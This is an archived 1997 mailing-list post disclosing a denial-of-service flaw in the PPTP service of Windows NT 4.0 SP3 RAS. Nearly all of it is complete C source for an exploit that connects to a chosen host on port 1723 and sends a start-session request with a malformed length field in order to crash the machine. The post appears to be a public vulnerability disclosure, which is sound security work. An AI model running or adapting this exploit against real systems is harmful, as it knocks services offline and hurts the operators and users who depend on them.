Potenial DOS in Windows NT RAS PPTP

From: Kevin Wormington (kwormat_private)
Date: Wed Nov 26 1997 - 09:48:13 PST

  • Next message: Vladislav S. Davidzon: "Re: HTTPD"

    Hi, this is my first posting so please excuse the style.  Please forgive me
    if this has been posted before, but I have not seen it.  Also, I am unable
    to test it with different hotfixes, etc.
    
    I discovered that NT 4.0 w/SP3 and RAS PPTP is vulnerable to a DOS causing
    core dump.  I have been working with point to point tunnelling protocol and
    discovered (by accident) that if you send a pptp start session request with
    an invalid packet length in the pptp packet header that it will crash an NT
    box.
    
    Here is a very crude code fragment that will exploit this behaviour:
    
    /*
    * Sample Windoze NT RAS PPTP exploit
    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    
    #define PPTP_MAGIC_COOKIE       0x1a2b3c4d
    #define PPTP_CONTROL_HEADER_OFFSET  8
    #define PPTP_REQUEST_OFFSET  12
    typedef enum {
      PPTP_CONTROL_PACKET = 1,
      PPTP_MGMT_PACKET} PptpPacketType;
    typedef enum {
      PPTP_START_SESSION_REQUEST = 1,
      PPTP_START_SESSION_REPLY,
      PPTP_STOP_SESSION_REQUEST,
      PPTP_STOP_SESSION_REPLY,
      PPTP_ECHO_REQUEST,
      PPTP_ECHO_REPLY,
      PPTP_OUT_CALL_REQUEST,
      PPTP_OUT_CALL_REPLY,
      PPTP_IN_CALL_REQUEST,
      PPTP_IN_CALL_REPLY,
      PPTP_IN_CALL_CONNECTED,
      PPTP_CALL_CLEAR_REQUEST,
      PPTP_CALL_DISCONNECT_NOTIFY,
      PPTP_WAN_ERROR_NOTIFY,
      PPTP_SET_LINK_INFO,
      PPTP_NUMBER_OF_CONTROL_MESSAGES} PptpControlMessageType;
    
    typedef struct {
      u_short    packetLength;
      u_short    packetType;
      u_long     magicCookie;} PptpPacketHeader;
    typedef struct {
      u_short    messageType;
      u_short    reserved;
    } PptpControlHeader;
    typedef struct {
      u_long     identNumber;} PptpEchoRequest;
    typedef enum {
      PPTP_ECHO_OK = 1,
      PPTP_ECHO_GENERAL_ERROR} PptpEchoReplyResultCode;
    typedef struct {
      u_long     identNumber;
      u_char     resultCode;
      u_char     generalErrorCode;
      u_short    reserved;} PptpEchoReply;
    #define PPTP_FRAME_CAP_ASYNC      0x00000001L
    #define PPTP_FRAME_CAP_SYNC       0x00000002L
    #define PPTP_BEARER_CAP_ANALOG    0x00000001L
    #define PPTP_BEARER_CAP_DIGITAL   0x00000002L
    typedef struct {
      u_short     protocolVersion;
      u_char      reserved1;
      u_char      reserved2;
      u_long      framingCapability;
      u_long      bearerCapability;
      u_short     maxChannels;
      u_short     firmwareRevision;
      char        hostName[64];
      char        vendorString[64];} PptpStartSessionRequest;
    int pptp_start_session (int);
    int main(int argc, char **argv)
        {
        int pptp_sock, i, s, offset;
        u_long src_ip, dst_ip = 0;
        struct in_addr addr;
        struct sockaddr_in sn;
        struct hostent *hp;
        struct servent *sp;
        fd_set ctl_mask;
        char buf[2048];
        if((pptp_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
          {
          perror("tcp socket");
          exit(1);
          }
        sp = getservbyname("pptp", "tcp"); /* port 1723 */
        if (!sp)
          {
          fprintf(stderr, "pptp: tcp/pptp: unknown service\n");
          exit(1);
          }
        hp = gethostbyname(argv[1]);
        if (!hp) { fprintf (stderr, "Address no good.\n"); exit(1); }
    
        memset(&sn, 0, sizeof(sn));
        sn.sin_port = sp->s_port;
        sn.sin_family = hp->h_addrtype;
        if (hp->h_length > (int)sizeof(sn.sin_addr))
          {
          hp->h_length = sizeof(sn.sin_addr);
          }
        memcpy(&sn.sin_addr, hp->h_addr, hp->h_length);
        if (connect(pptp_sock, (struct sockaddr *)&sn, sizeof(sn)) < 0)
          {
          perror("pptp: can't connect");
          close(s);
          exit(1);
          }
        pptp_start_session(pptp_sock);
        fprintf(stderr, "Done\n");
        close(pptp_sock);
        return (0);
        }
    int pptp_start_session (int sock)
      {
      PptpPacketHeader packetheader;
      PptpControlHeader controlheader;
      PptpStartSessionRequest sessionrequest;
      char packet[200];
      int offset;
      packetheader.packetLength = htons (20);  /* whoops, i forgot to change it
    */
      packetheader.packetType = htons(PPTP_CONTROL_PACKET);
      packetheader.magicCookie = htonl(PPTP_MAGIC_COOKIE);
      controlheader.messageType = htons(PPTP_START_SESSION_REQUEST);
      controlheader.reserved = 0;
      sessionrequest.protocolVersion = htons(1);
      sessionrequest.reserved1 = 0;
      sessionrequest.reserved2 = 0;
      sessionrequest.framingCapability = htonl(PPTP_FRAME_CAP_ASYNC);
      sessionrequest.bearerCapability = htonl(PPTP_BEARER_CAP_ANALOG);
      sessionrequest.maxChannels = htons(32);
      sessionrequest.firmwareRevision = htons(1);
      memset(&sessionrequest.hostName, 0, sizeof (sessionrequest.hostName));
      sprintf (sessionrequest.hostName, "%s", "mypc.anywhere.com");
      memset(&sessionrequest.vendorString, 0, sizeof
    (sessionrequest.vendorString));
      sprintf (sessionrequest.vendorString, "%s", "Any Vendor");
      memset(&packet, 0, sizeof(packet));
      memcpy(&packet, &packetheader, sizeof(packetheader));
      memcpy(&packet[PPTP_CONTROL_HEADER_OFFSET], &controlheader,
                                              sizeof(controlheader));
      memcpy(&packet[PPTP_REQUEST_OFFSET], &sessionrequest,
                                              sizeof(sessionrequest));
      send (sock, &packet, 156, 0);
      return (0);
      }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:33:36 PDT